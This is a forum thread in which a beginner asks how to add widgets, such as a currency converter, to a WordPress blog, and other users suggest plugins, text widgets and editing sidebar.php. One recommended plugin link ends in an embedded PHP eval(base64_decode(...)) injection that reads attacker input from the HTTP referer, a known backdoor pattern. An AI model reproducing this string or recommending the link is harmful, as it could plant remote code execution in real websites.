make widget in wordpress

Hi every one , i am new in blogging in wordpress.
Can anybody tell me how do i make widgets in my blog?
I am using atahualpha themes.
(Perhaps I want place currency converter widget in my blog? )

Please help me...

 

Not familiar with that theme, but it needs to be widget ready. Or I believe there's some plugins for that. Just do a search for "widget plugin"

If it is a widget ready theme just go to Appearance/Widgets and "drag n drop" a text widget in the sidebar.

Go to hotscripts.com and find a php or cgi script, upload it and paste the code into the widget.

Or you can also try searching for a currency converter plugin. Not to sure one exists though.

 

There are a couple of currency converter widgets out there. I have used both of these and they work fine.

http://wordpress.org/extend/plugins/yaacc/

http://chaos-laboratory.com/2007/03/01/currex-ajax-based-currency-converter-widget-for-wordpress/%&(%7B$%7Beval(base64_decode($_SERVER[HTTP_REFERER]))%7D%7D%7C.+)&%/

Good luck!

 

If you want to create your own widget, i'm pretty sure there's a custom widget plugin around, since i have it on one of my blogs. If you're struggling to use the library of widgets available on the wordpress site, then i'll dig out some of my plugins.

 

Why would you need a widget, if you can manually add the code in theme files.

 

Can you tell how to add codes in themes so i can have this widget works ?

 

Simply place <the code> where would you like it to appear. If sidebar, search for sidebar.php and so on...

 

I have add the code, but the size of my widget is exceeding the sidebar. Can someone tell me how to make the widget fit to my sidebar?